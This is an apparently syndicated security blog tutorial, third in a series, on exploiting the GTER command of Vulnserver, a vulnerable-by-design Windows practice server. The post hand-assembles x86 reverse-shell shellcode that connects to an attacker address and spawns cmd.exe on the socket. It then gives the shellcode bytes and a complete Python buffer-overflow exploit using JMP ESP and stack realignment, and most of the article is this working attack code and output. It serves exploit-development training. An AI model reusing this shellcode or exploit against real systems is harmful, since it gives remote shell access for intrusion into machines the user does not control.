GTER Exploit: Reusing Socket Stack
This is the third article on the series of exploiting Vulnserver, aVbD (Vulnerable-by-Design) application in which you can practice
Windows exploit development.
In our previous post, we successfully exploited
the GTER command using a technique called Egghunting or Egghunter.
Using an egghunter was required because we had a reduced buffer to fit a
shellcode, as generated by msfvenom and other tools.
In this post, we will use a manually carved shellcode that will harness
instructions that are already loaded on Vulnserver, allowing us to
reduce the final length of our payload.
Reverse shellcode X-ray
A reverse shellcode is basically a series of Windows API function
calls arranged in a delicate order to make a victim machine connect back
to an attacker machine issuing a Windows shell, which is commonly an
instance of cmd.exe.
The order of execution of a fully crafted shellcode is the following:
Call
WSAStartup()to load the neededWinSockDLLs. Use a call toLoadLibraryAunderneath.Call
socket()orWSASocketA()to bind a new socket handle.Call
connect()orWSAConnect()to establish a connection to the
attacker machine.Call
CreateProcessA(), which callscmd.exeand where theSTDIN,STDOUT, andSTDERRare redirected to the previously
generated socket handle.
However, if we are exploiting a TCP/IP server like Vulnserver,
chances are that the ‘WinSock’ DLL library is already loaded and
initialized. That means that we can spare WinSock rutines
initialization from our shellcode that can save us a great amount of
bytes. Every byte counts.
As a reference, let’s create a reverse shellcode using msfvenom:
msfvenom.
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.20 LPORT=4444 EXITFUNC=thread -f raw -o /dev/null -b '\x00'[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x86 from the payloadFound 11 compatible encodersAttempting to encode payload with 1 iterations of x86/shikata_ga_naix86/shikata_ga_nai succeeded with size 351 (iteration=0)x86/shikata_ga_nai chosen with final size 351Payload size: 351 bytesSaved as: /dev/nullThis shellcode is 351 bytes long. And, if you remember on our previous
post, we only had around 144 bytes to play.
The whole idea of reusing instructions is to minimize the resultant
shellcode.
To do that, we need to know what functions need to be called, with what
parameters, and translate that into Assembler language to then convert
it into our shellcode, keeping in mind to avoid the null bytes that
would lead to making our shellcode unusable. It sounds harder than it
really is.
With that in mind, let’s look at the signatures of the needed functions:
WSASocketA()
WSASocketA() signature.
SOCKET WSAAPI WSASocketA( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags);If we are going to write this in Assembler, we must remember that in the
x86 architecture the functions are called in a very specific way:
The parameters are pushed to the stack on reverse order.
We call the required function.
That function will store the returned value on
EAX.
For example, the structure for calling WSASocketA function is as
follows:
Push
dwFlagsparameter to the stack.Push
gparameter to the stack.Push
lpProtocolInfoparameter to the stack.Push
protocolparameter to the stack.Push
typeparameter to the stack.Push
afparameter to the stack.Call
WSASocketA().Retrieve the return value of
WSASocketA()fromEAXwhich is the
resulting socket handle.
We also need to know the exact address of the WSASocketA() on the
system. Normally, those function addresses won’t change much on a
specific version of Windows but will likely change over different
updates, so keep that in mind when creating custom shellcodes.
For retrieving the addresses of functions on the current OS, you can
use the arwin tool:
arwin finding WSASocketA().
C:\Documents and Settings\Administrator>arwin ws2_32 WSASocketAarwin - win32 address resolution program - by steve hanna - v.01WSASocketA is located at 0x71ab8b6a in ws2_32Ok, with all the required information, we can proceed to write some
Assembler. We need to get a socket handle that can be used by a TCP
connection. With that in mind, we can write the call to WSASocketA():
WSASocketA() in ASM.
xor ebx,ebx ; Zero out EBXpush ebx ; Push 'dwFlags' parameterpush ebx ; Push 'g' parameterpush ebx ; Push 'lpProtocolInfo' parametermov bl,0x6 ; Protocol: IPPROTO_TCP=6push ebx ; Push 'protocol' parameterxor ebx,ebx ; Zero out EBX againinc ebx ; Type: SOCK_STREAM=1push ebx ; Push 'type' parameterinc ebx ; Af: AF_INET=2push ebx ; Push 'af' parametermov ebx,0x71ab8b6a ; Address of WSASocketA() on WinXPSP3call ebx ; call WSASocketA()xchg eax,esi ; Save the returned socket handle on ESINice, we stored the socket handle in the ESI register that we will need
in the forthcoming functions.
connect()
The connect() call will create the connection back to the attacker
using the socket handle generated by WSASocketA that we stored in ESI:
connect() signature.
int WSAAPI connect( SOCKET s, const sockaddr *name, int namelen);The sockaddr parameter is in turn:
struct sockaddr { ushort sa_family; char sa_data[14];};Get the address of connect():
arwin finding connect().
C:\Documents and Settings\Administrator>arwin ws2_32 connectarwin - win32 address resolution program - by steve hanna - v.01connect is located at 0x71ab4a07 in ws2_32Now that we know the structure of the connect() function call and the
address of the function, we can write it in Assembler:
connect() in Assembler.
push 0x1400a8c0 ; Push attacker IP: 192.168.0.20. In reverse order: ; hex(20) = 0x14 ; hex(0) = 0x00 ; hex(168) = 0xa8 ; hex(192) = 0xc0push word 0x5c11 ; Push port: hex(4444) = 0x115cxor ebx,ebx ; Zero out EBXadd bl,0x2 ; sa_family: AF_INET = 2push word bx ; Push sa_family parametermov ebx,esp ; EBX now has the pointer to sockaddr structurepush byte 0x16 ; Size of sockaddr: sa_family + sa_data = 16push ebx ; Push pointer ('name' parameter)push esi ; Push saved socket handler ('s' parameter)mov ebx,0x71ab4a07 ; Address of connect() on WinXPSP3call ebx ; Call connect()Note that the attacker IP address parameter contains a null byte,
which will stop the injection of the payload. To overcome that, we can
add a static value to that address, subtract it again, and push the
result. This will be the final connect() payload:
connect() in Assembler.
mov ebx,0x6955fe15 ; Attacker IP: 192.168.0.20. In reverse order: ; hex(20) = 0x14 ; hex(0) = 0x00 ; hex(168) = 0xa8 ; hex(192) = 0xc0 ; 0x1400a8c0 + 55555555 = 6955FE15sub ebx,0x55555555 ; Substract again 55555555 to get the original IPpush ebx ; This will push 0x1400a8c0 to the stack without ; injecting null bytespush word 0x5c11 ; Push port: hex(4444) = 0x115cxor ebx,ebx ; Zero out EBXadd bl,0x2 ; sa_family: AF_INET = 2push word bx ; Push sa_family parametermov ebx,esp ; EBX now has the pointer to sockaddr structurepush byte 0x16 ; Size of sockaddr: sa_family + sa_data = 16push ebx ; Push pointer ('name' parameter)push esi ; Push saved socket handler ('s' parameter)mov ebx,0x71ab4a07 ; Address of connect() on WinXPSP3call ebx ; Call connect()CreateProcessA()
Now comes the final function CreateProcessA(), which is responsible
for creating an instance of the cmd.exe command. We also need to point
the STDIN, STDOUT and STDERR descriptors to our socket handle to
make the resultant shell interactive for us.
CreateProcessA() signature.
BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);We need to fill the _STARTUPINFOA structure. Luckily for us, most of
the parameters are NULL:
typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError;} STARTUPINFOA, *LPSTARTUPINFOA;And the _PROCESS_INFORMATION is even easier as all the fields can be
NULL:
typedef struct _PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId;} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;Get the address of CreateProcessA():
arwin finding CreateProcessA().
C:\Documents and Settings\Administrator>arwin kernel32 CreateProcessAarwin - win32 address resolution program - by steve hanna - v.01CreateProcessA is located at 0x7c80236b in kernel32In Assembler, the call to CreateProcessA() will look like this:
CreateProcessA() in Assembler.
mov ebx,0x646d6341 ; Move 'cmda' to EBX. The trailing 'a' is to avoid ; injecting null bytes.shr ebx,0x8 ; Make EBX = 'cmd\x00'push ebx ; Push application namemov ecx,esp ; Make ECX a pointer to the 'cmd' command ; ('lpCommandLine' parameter); Now fill the `_STARTUPINFOA` structurexor edx,edx ; Zero out EBXpush esi ; hStdError = our socket handlerpush esi ; hStdOutput = our socket handlerpush esi ; hStdInput = our socket handlerpush edx ; cbReserved2 = NULLpush edx ; wShowWindow = NULLxor eax, eax ; Zero out EAXmov ax,0x0101 ; dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOWpush eax ; Push dwFlagspush edx ; dwFillAttribute = NULLpush edx ; dwYCountChars = NULLpush edx ; dwXCountChars = NULLpush edx ; dwYSize = NULLpush edx ; dwXSize = NULLpush edx ; dwY = NULLpush edx ; dwX = NULLpush edx ; lpTitle = NULLpush edx ; lpDesktop = NULLpush edx ; lpReserved = NULLadd dl,44 ; cb = 44push edx ; Push _STARTUPINFOA on stackmov eax,esp ; Make EAX a pointer to _STARTUPINFOAxor edx,edx ; Zero out EDX again; Fill PROCESS_INFORMATION structpush edx ; lpProcessInformationpush edx ; lpProcessInformation + 4push edx ; lpProcessInformation + 8push edx ; lpProcessInformation + 12; Now fill out the `CreateProcessA` parameterspush esp ; lpProcessInformationpush eax ; lpStartupInfoxor ebx,ebx ; Zero out EBX to fill other parameterspush ebx ; lpCurrentDirectorypush ebx ; lpEnvironmentpush ebx ; dwCreationFlagsinc ebx ; bInheritHandles = Truepush ebx ; Push bInheritHandlesdec ebx ; Make EBX zero againpush ebx ; lpThreadAttributespush ebx ; lpProcessAttributespush ecx ; lpCommandLine = Pointer to 'cmd\x00'push ebx ; lpApplicationNamemov ebx,0x7c80236b ; Address of CreateProcessA()call ebx ; Call CreateProcessA() on WinXPSP3Putting it all together
Our final shellcode will be this:
shellcode.asm.
; WSASocketA()xor ebx,ebx ; Zero out EBXpush ebx ; Push 'dwFlags' parameterpush ebx ; Push 'g' parameterpush ebx ; Push 'lpProtocolInfo' parametermov bl,0x6 ; Protocol: IPPROTO_TCP=6push ebx ; Push 'protocol' parameterxor ebx,ebx ; Zero out EBX againinc ebx ; Type: SOCK_STREAM=1push ebx ; Push 'type' parameterinc ebx ; Af: AF_INET=2push ebx ; Push 'af' parametermov ebx,0x71ab8b6a ; Address of WSASocketA() on WinXPSP3call ebx ; Call WSASocketA()xchg eax,esi ; Save the returned socket handle on ESI; connect()mov ebx,0x6955fe15 ; Attacker IP: 192.168.0.20. In reverse order: ; hex(20) = 0x14 ; hex(0) = 0x00 ; hex(168) = 0xa8 ; hex(192) = 0xc0 ; 0x1400a8c0 + 55555555 = 6955FE15sub ebx,0x55555555 ; Substract again 55555555 to get the original IPpush ebx ; This will push 0x1400a8c0 to the stack without ; injecting null bytespush word 0x5c11 ; Push port: hex(4444) = 0x115cxor ebx,ebx ; Zero out EBXadd bl,0x2 ; sa_family: AF_INET = 2push word bx ; Push sa_family parametermov ebx,esp ; EBX now has the pointer to sockaddr structurepush byte 0x16 ; Size of sockaddr: sa_family + sa_data = 16push ebx ; Push pointer ('name' parameter)push esi ; Push saved socket handler ('s' parameter)mov ebx,0x71ab4a07 ; Address of connect() on WinXPSP3call ebx ; Call connect(); CreateProcessA()mov ebx,0x646d6341 ; Move 'cmda' to EBX. The trailing 'a' is to avoid ; injecting null bytes.shr ebx,0x8 ; Make EBX = 'cmd\x00'push ebx ; Push application namemov ecx,esp ; Make ECX a pointer to the 'cmd' command ; ('lpCommandLine' parameter); Now fill the `_STARTUPINFOA` structurexor edx,edx ; Zero out EBXpush esi ; hStdError = our socket handlerpush esi ; hStdOutput = our socket handlerpush esi ; hStdInput = our socket handlerpush edx ; cbReserved2 = NULLpush edx ; wShowWindow = NULLxor eax, eax ; Zero out EAXmov ax,0x0101 ; dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOWpush eax ; Push dwFlagspush edx ; dwFillAttribute = NULLpush edx ; dwYCountChars = NULLpush edx ; dwXCountChars = NULLpush edx ; dwYSize = NULLpush edx ; dwXSize = NULLpush edx ; dwY = NULLpush edx ; dwX = NULLpush edx ; lpTitle = NULLpush edx ; lpDesktop = NULLpush edx ; lpReserved = NULLadd dl,44 ; cb = 44push edx ; Push _STARTUPINFOA on stackmov eax,esp ; Make EAX a pointer to _STARTUPINFOAxor edx,edx ; Zero out EDX again; Fill PROCESS_INFORMATION structpush edx ; lpProcessInformationpush edx ; lpProcessInformation + 4push edx ; lpProcessInformation + 8push edx ; lpProcessInformation + 12; Now fill out the `CreateProcessA` parameterspush esp ; lpProcessInformationpush eax ; lpStartupInfoxor ebx,ebx ; Zero out EBX to fill other parameterspush ebx ; lpCurrentDirectorypush ebx ; lpEnvironmentpush ebx ; dwCreationFlagsinc ebx ; bInheritHandles = Truepush ebx ; Push bInheritHandlesdec ebx ; Make EBX zero againpush ebx ; lpThreadAttributespush ebx ; lpProcessAttributespush ecx ; lpCommandLine = Pointer to 'cmd\x00'push ebx ; lpApplicationNamemov ebx,0x7c80236b ; Call CreateProcessA()call ebxWe can compile this using nasm:
nasm compilation.
nasm -f elf32 -o shellcode.o shellcode.asmAnd obtain the resulting shellcode with:
$ for i in $(objdump -d shellcode.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3As you can see, the resulting shellcode is only 126 bytes long and will
nicely fit on our buffer without the need to use egghunters.
Update our exploit
Now that we have our manually created shellcode, we can update our
previous exploit.
We will remove the egghunter and the previous shellcode and will include
our custom shellcode. Let’s see how it looks now:
exploit-socketreuse.py.
import socketimport structHOST = '192.168.0.29'PORT = 9999CUSTOM_SHELL = ( b'\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43' + b'\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55' + b'\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31' + b'\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb' + b'\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb' + b'\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0' + b'\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52' + b'\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52' + b'\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53' + b'\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3')PAYLOAD = ( b'GTER /.:/' + CUSTOM_SHELL + b'A' * (147 - len(CUSTOM_SHELL)) + # 625011C7 | FFE4 | jmp esp struct.pack('<L', 0x625011C7) + # JMP to the start of our buffer b'\xe9\x64\xff\xff\xff' + b'C' * (400 - 147 - 4 - 5))with socket.create_connection((HOST, PORT)) as fd: fd.recv(128) print('Sending payload...') fd.sendall(PAYLOAD) print('Done.')It looks simpler! Now, run it to see what happens:

Uhmmm, we got the reverse connection but no shell!
Let’s see what is going on:

As we can see, several things have happened:
Our buffer was correctly delivered.
The
JMP ESPinstruction was successfully triggered.The jump backward occurred.
And we landed at the start of our custom shellcode.
However, if you look carefully at this image:

We can see that the ESP register is only 24 bytes below the end of our
custom shellcode. That means that with every PUSH performed on our
custom shellcode, that pointer will get closer to it and start
overwriting it. That’s not good news.
This graph illustrates the issue:

As the execution flows towards a higher memory address, the stack grows
backward and will eventually overwrite our shellcode.
However, if you look at the image again, you can see that the EAX
register points to the GTER /.:/ string, which is above our shellcode.
All that’s left to do is align the stack to point to that location, and
it’s done easily with two instructions:
Align stack.
push eaxpop espThe first instruction will push the current value of EAX to the stack,
and the second will pop back that value to the ESP register, moving
the stack pointer above our shellcode, protecting it from being
overwritten.
We can use nasm_shell.rb from Metasploit to get the opcodes of those
instructions:
nasm_shell.
$ cd /opt/metasploit-framework/embedded/framework/tools/exploit$ ./nasm_shell.rbnasm > push eax00000000 50 push eaxnasm > pop esp00000000 5C pop espOk, now we can add those instructions to our exploit and see what
happens:
exploit-socketreuse.py.
import socketimport structHOST = '192.168.0.29'PORT = 9999CUSTOM_SHELL = ( b'\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43' + b'\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55' + b'\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31' + b'\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb' + b'\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb' + b'\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0' + b'\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52' + b'\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52' + b'\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53' + b'\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3')PAYLOAD = ( b'GTER /.:/' + # Align stack to avoid overwrite our shellcode b'\x50' + # PUSH EAX b'\x5c' + # POP ESP CUSTOM_SHELL + b'A' * (147 - 2 - len(CUSTOM_SHELL)) + # 625011C7 | FFE4 | jmp esp struct.pack('<L', 0x625011C7) + # JMP to the start of our buffer b'\xe9\x64\xff\xff\xff' + b'C' * (400 - 147 - 4 - 5))with socket.create_connection((HOST, PORT)) as fd: fd.recv(128) print('Sending payload...') fd.sendall(PAYLOAD) print('Done.')And execute the exploit again:

Whooo! We got our shell again!
You can download the final exploit here
Conclusion
This time I wanted to show that there are always ways to overcome harsh
exploitation environments, just by trying harder.
References
*** This is a Security Bloggers Network syndicated blog from Fluid Attacks RSS Feed authored by Andres Roldan. Read the original post at: https://fluidattacks.com/blog/vulnserver-gter-no-egghunter/

